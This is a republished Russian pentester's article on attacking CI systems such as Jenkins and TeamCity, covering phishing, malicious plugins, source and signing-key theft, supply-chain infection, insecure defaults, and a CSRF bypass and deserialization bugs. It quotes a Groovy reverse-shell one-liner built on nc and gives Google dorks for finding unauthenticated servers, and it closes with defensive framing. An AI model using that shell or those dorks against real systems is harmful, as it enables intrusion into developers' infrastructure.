- PVSM.RU - https://www.pvsm.ru -
Я — пентестер, и так получилось, что практически на всех проектах, хотя бы отдаленно связанных с анализом инфраструктуры разработчиков, мне встречаются установленные Jenkins и TeamCity (один раз я даже видел Bamboo). Немного гугла, и я выяснил, что это все — так называемые системы непрерывной интеграции. Конечно, в какой-то момент у меня в голове стали возникать вопросы вроде: «А что это вообще за системы такие?» и «Что с ними можно сделать?», естественно, с точки зрения пентестера. Ответив на поставленные вопросы, мы поймем, какую выгоду потенциальный злоумышленник может извлечь и какой вред нанести в рамках экосистемы разработчика, используя лишь имеюущуюся в ней систему непрерывной интеграции.
Думаю, что большей части читателей Хабра наверняка знакомы такие ключевые слова, как Agile, Scrum или даже Sprint. Если вдруг нет, то кратко и очень приблизительно это все можно охарактеризовать так: постоянный выпуск новых законченных (т.е. обладающих каким-то конечным набором функций) релизов приложения.
Подробнее можно почитать, например, в Википедии [1].
Не будем останавливаться на этом подробно, т.к. потенциальному злоумышленнику, для проведения успешной атаки, эти знания особенно и не нужны. Однако стоит заметить, что с каждым днем все больше и больше разработчиков (да большинство!) обращается в Agile-веру, и, конечно, сталкивается с необходимостью как-то управлять всеми этими бесконечными промежуточными релизами. И именно для этой цели и используются системы непрерывной интеграции.
Забегая немного вперед, нужно сказать, почему же эти системы могут заинтересовать злоумышленника (или, в нашем случае, конечно, пентестера) и почему стоит беспокоиться об их безопасности.
Кроме того, как было сказано выше, системы непрерывной интеграции представляют собой удобный инструмент для управления разработкой, поэтому сейчас их можно встретить во внутренней сети практически каждой копании, так или иначе связанной с с этой сферой. И даже более, зачастую такие системы, для удобства использования, выставляют в открытый доступ в интернет.
Continuous integration (CI) is the practice, in software engineering, of merging all developer working copies to a shared mainline several times a day. It was first named and proposed by Grady Booch in his 1991 method,[1] although Booch did not advocate integrating several times a day. It was adopted as part of extreme programming (XP), which did advocate integrating more than once per day, perhaps as many as tens of times per day.
© Википедия [2]
В данной статье будем опираться на типовую экосистему разработчика ПО, описание которой представлено ниже. Если вы знаете (а вы наверняка знаете), что это такое, то можете смело пропустить этот раздел и переходить сразу к атакам [3]. Для всех остальных, рассмотрим ее подробнее.
На рисунке мы видим следующие сущности:
Теперь, когда мы знаем кто есть кто, попробуем описать примерную последовательность действий, выполняемую в процессе сборки приложения.
Рассмотрим рисунок на примере типичного спринта: разработчик пишет код и загружает(1) его в репозиторий. Далее, по какому-либо событию, в дело вступает система непрерывной интеграции. Она загружает из репозитория необходимые исходные коды(2-3) и запускает процесс их сборки(4). В случае успеха, собранное приложение может быть загружено(5-1) на стенд. В случае неудачи, система может создать(5-2) задачу в багтрекере.
Ниже представлена краткая информация, которая поможет выявить поверхность атаки рассматриваемой системы.
Если описывать общую ролевую модель, которая может быть применима ко всем популярным системам непрерывной интеграции, то она будет выглядеть следующим образом:
Как видно на картинке, типовая система состоит из ряда компонентов. Ниже мы рассмотрим каждый из них подробнее:
Теперь, когда у нас появилось понимание самой сущности систем непрерывной интеграции, пришло время узнать, чем именно грозит их компрометация. Для этого рассмотрим несколько типичных и не очень сценариев атак от банального фишинга до заражения собираемых приложений.
Наиболее очевидный сценарий атаки: немного уязвимостей (а, в случае Jenkins, это может быть и штатная возможность — UserContent) + страничка ввода учетных данных = учетные данные невнимательных пользователей системы и, как следствие, развитие атаки на инфраструктуру вплоть до получения контроля над доменом (в случае, если для аторизации в системе используются доменные учетные данные).
В силу специфики работы системы, получение возможности удаленного выполнения кода — вопрос настойчивости.
Ниже рассмотрим несколько способов:
Сложный потому, что понадобится в том или ином виде реализовать MitM-атаку на канал получения плагинов. Здесь стоит остановиться подробнее. Для доставки плагина в систему непрерывной интеграции существует два основных способа:
Для реализации такого сценария злоумышленнику понадобится собственный сервер плагинов. Для этих целей прекрасно подойдет сервер Juseppe [6]. Конечно, кроме сервера, злоумышленнику нужен еще и плагин. Фрагмент нагрузки для такого плагина можно посмотреть на гитхабе [7]
В этом плагине был использован простой Groovy-скрипт для получения reverse shell:
r=Runtime.getRuntime();p = r.exec(["/bin/bash","-c","mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc host port 1>/tmp/backpipe"] as String[]);p.waitFor()
А вот и ролик, демонстрирующий работоспособность такой схемы:
Кстати, забавный момент по поводу администрирования и безопасности: на момент тестирования схемы был зарегистрирован баг jenkins-31089 [8], суть которого заключалась в невозможности нормальной настройки сервера обновления плагинов из-за проблем в проверке подписи плагинов. В качестве возможных решений встречались, например, такие:
Another option is to disable the signature check for the update site metadata downloaded by Jenkins, by setting the system property
hudson.model.DownloadService.noSignatureCheck to true, but of course that's a stupid idea in general since it breaks trust in the data you download.
Т.е. предлагают в принципе отключить проверку подписи загружаемых удаленно плагинов, что, конечно, не добавляет безопасности.
В результате эксплуатации этого вектора, злоумышленник получает контроль над сборочным сервером и всеми данными, которые он хранит на своей файловой системе(включая исходные коды приложений). Помимо этого, получив контроль над сервером, злоумышленник может эскалировать атаку дальше на инфраструктуру.
Данный вектор эксплаутирует интересную особенность многих систем непрерывной интеграции: процесс сборки проекта на файловой системе сборочного сервера (мастера или slave'а) ничем не ограничен, поэтому, выполняя сборочный скрипт, система может читать и писать файлы, находящиеся вне текущей сборочной директории. Таким образом, если у злоумышленника есть возможность модифицировать сборочные скрипты (например, получив доступ к репозиторию), он легко может украсть исходные коды любых других проектов, т.к. перед сборкой все исходные коды складываются во временные директории соответствующих проектов.
Здесь повышение привилегий осуществляется не только и не столько в рамках системы непрерывной интеграции, но в и рамках всей экосистемы разработчика. Пример: Злоумышленник из логов достает ssh ключи от репозитория исходного кода, тем самым повышая свои привилегии уже в контексте репозитория. Само по себе повышение привилегий может быть выполнено совершенно различными способами, некоторые из которых уже описаны выше.
Здесь собрано несколько векторов атак, использующих основные бизнес-процессы систем непрерывной интеграции.
Яркий пример атак подобного рода: заражение торрент-клиента Transmission для OS X.
Если вашим продуктом пользуются миллионы людей, последствия вполне можно предсказать.
Для реализации подобного сценария в голову приходят сразу два варианта атаки.
Допустим, у атакующего нет доступа к репозиторию с кодом, который он хочет заразить, зато есть доступ с правами на редактирование (неважно, через уязвимость или каким-то другим способом) к системе непрерывной интеграции. В этом случае, злоумышленнику достаточно модифицировать сборочный скрипт для атакуемого проекта, добавив необходимые действия к списку предусловий, которые должны выполниться перед началом непосредственно сборки атакуемого проекта.
В случае, если у атакующего нет доступа ни к репозиторию, ни к проекту, он может попытаться воздействовать через проект, к которому у него доступ есть, модифицируя исходные коды атакуемого проекта прямо на файловой системе сборочного сервера. В этом случае необходимо, чтобы после сборки сервер не очищал сборочную директорию. Здесь стоит пояснить, что при инициализации очередной сборки, система непрерывной интеграции может и не загружать исходные коды из репозитория, например, если не находит изменений с момента последнй загрузки.
Украденные ключи могут использоваться для разных целей, например, для подписи собственного вредоносного ПО злоумышленника.
На видео представлен один из способов реализации такой атаки.
А почему бы не собрать ботнет из систем, торчащих в интернет? Вот и примерчик уязвимого сервера в интернете:
И таких сейчас много.
Можно поискать самостоятельно, используя гугл дорки:
intitle:"Dashboard [Jenkins]"
— все Jenkins интернета
intitle:"Dashboard [Jenkins]" intext:"Manage Jenkins"
— все Jenkins без аутентификации
intitle:"Projects - TeamCity"
— все TeamCity с гостевым доступом
intitle:"Register a New User Account - TeamCity"
— все TeamCity с открытой регистрацией
Рассмотрев вышеописанные сценарии, становится понятно, что система непрерывной интеграции должна быть хорошо защищена.
Если вы думаете, что ваша система защищена из коробки, то это далеко не так. В качестве демонстрации этого утверждения, ниже представлены настройки по умолчанию для нескольких систем непрерывной интеграции.
Еще один пример:
Казалось бы, не так уж и серьезно, однако, в силу особенностей запуска сборочных скриптов, в логи может попасть различная интересная информация (например, пароли от ssh или какого-нибудь ftp), и эти данные будут там в открытом виде! Таким образом, гостевой доступ + немного логов = все пароли у нас в кармане. Прямо как dumpster diving!
Кроме того, в большинстве коробочных решений по непрерывной интеграции мастер по умолчанию является и slave'ом.
Это значит, что потенциально недоверенный (кто сказал, что гитхабу можно верить?) код будет исполняться там же, где хранятся конфигурации всей системы, а также исходные коды других проектов (возможно, даже приватных). Т.е, модифицировав кусок сборочного скрипта, который хранится в публичном репозитории, злоумышленник может получить доступ к конфигурации сборочного сервера а также исходным кодам проектов, которые собираются на том же агенте.
А вот к каким конфигурационным данным злоумышленник сможет получить доступ, выполнив свой код на мастере систем Jenkins и TeamCity:
$JENKINS_HOME/ +:
$TEAMCITY_HOME/ +
Резюмируя вышесказанное, можно смело заявлять, что настройки по умолчанию небезопасны от слова совсем. Однако, даже если сконфигурировать систему должным образом, все еще существует огромное количество путей для ее эксплуатации в своих «грязных» целях.
В системах непрерывной интеграции, как и в любых других больших системах, конечно, есть уязвимости. Наиболее популярной точкой входа для поиска уязвимостей являются различные пользовательские интерфейсы. Так, во всех системах, которые мне встречались, в качестве графического интерфейса используется веб-приложение, для которого характерны различные веб-уязвимости (Привет OWASP [9]).
Начнем с интересной уязвимости в старых версиях TeamCity. Итак, уязвимость позволяла получить доступ к страничке регистрации, даже если возможность регистрации новых пользователей была отключена в конфигурации. В итоге, это позволяет злоумышленнику зарегистрироваться и получить некоторый набор прав (см предыдущий пункт) в системе несмотря на прямой запрет от администратора. Подробнее в этой [10] статье.
Теперь другой пример, уже из Jenkins. Уязвимость позволяла обойти проверку CSRF-токена практически в любой функции веб-приложения Jenkins во всех версиях до 1.641 (LTS — 1.625.3)
А все дело было в классе /core/src/main/java/hudson/security/csrf/CrumbFilter.java, и некорректном условии проверки валидности запроса:
if (valid || isMultipart(httpRequest)) {
chain.doFilter(request, response);
} else {
LOGGER.log(Level.WARNING, "No valid crumb was included in request for {0}. Returning {1}.", new Object[] {httpRequest.getRequestURI(),
HttpServletResponse.SC_FORBIDDEN});
Т.е. здесь видно, что проверка считается пройденной успешно, если выставлен флаг valid, или же запрос содержит данные типа
multipart/form-data(Content-Type: multipart/form-data; boundary=---------------------------blahblah
)
Используя данную уязвимость + например, штатную возможность исполнения shell скриптов при сборке проекта, злоумышленник может модифицировать произвольный проект, к которому у жертвы есть доступ на редактирование, добавив в качестве этапа сборки выполнение shell скрипта. В результате, мы получаем удаленное выполнение кода на сборочной машине.
Для наглядности, рассмотрим пример: злоумышленник отправляет администратору Jenkins ссылку на страничку, на которой размещен JavaScript код, формирующий POST запрос с Content-Type: multipart/form-data к URL /view/All/job/test1/configure. В итоге, данный запрос обойдет защиту от CSRF, реализованную на Jenkins, что и приведет к модификации проекта нужным образом. Старт сборки проекта реализуется аналогичным образом.
Еще одна (очень!) интересная уязвимость в Jenkins связана с десериализацией java-объектов утилитой Jenkins CLI.
Jenkins CLI — Интерфейс командной строки для взаимодействия с сервером Jenkins. Если коротко, то Jenkins CLI взаимодействует с Jenkins через свой собственный протокол, в рамках которого все данные передаются в сериализованном виде. Подробнее об утилите на jenkins-ci.org [11]. Обнаруженная уязвимость позволяет неавторизованному пользователю выполнить произвольный код в контексте Jenkins, эксплуатация же может быть выполнена через библиотеку Apache Commons. Детальное описание уязвимости можно прочитать на сайте foxglovesecurity [12].
Аналогичная уязвимость есть и в Bamboo [13].
И раз уж речь зашла про десериализацию, то недавно был найден еще один баг, на этот раз в либе XStream, которую Jenkins использует для парсинга xstream xml (например тут: /CreateItem). Хорошее описание бага приведено по ссылке [14].
Исходя из вышенаписанного, при настройке систем непрерывной интеграции следует предпринимать дополнительные усилия для обеспечения их должной защиты. И, конечно, не нужно забывать об использовании дополнительных инструментов и технологий для обеспечения более высокого уровня защищенности таких систем внутри вашей инфраструктуры.
И в заключение — Немного рекомендаций
Автор: Digital Security
Источник [17]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/informatsionnaya-bezopasnost/115138
Ссылки в тексте:
[1] Википедии: https://en.wikipedia.org/wiki/Agile_software_development
[2] Википедия: https://en.wikipedia.org/wiki/Continuous_integration
[3] атакам: #attacks
[4] тут: https://raw.githubusercontent.com/osakaaa/ZN_CI/master/POC/Build_shell_jenkins.html
[5] здесь: http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html
[6] Juseppe: https://github.com/yandex-qatools/juseppe/
[7] гитхабе: https://github.com/osakaaa/ZN_CI/blob/master/POC/index.jelly
[8] jenkins-31089: https://issues.jenkins-ci.org/browse/JENKINS-31089
[9] OWASP: https://www.owasp.org/index.php/Top_10_2013-Top_10
[10] этой: https://beyondbinary.io/articles/teamcity-account-creation/
[11] jenkins-ci.org: https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+CLI
[12] foxglovesecurity: http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jenkins
[13] Bamboo: http://seclist.us/a-poc-for-the-bamboo-deserialization-exploit.html
[14] ссылке: https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream
[15] Jenkins: https://wiki.jenkins-ci.org/display/SECURITY/Home
[16] Bamboo: https://confluence.atlassian.com/bamboo/bamboo-security-advisories-289276756.html
[17] Источник: https://habrahabr.ru/post/278283/
Нажмите здесь для печати.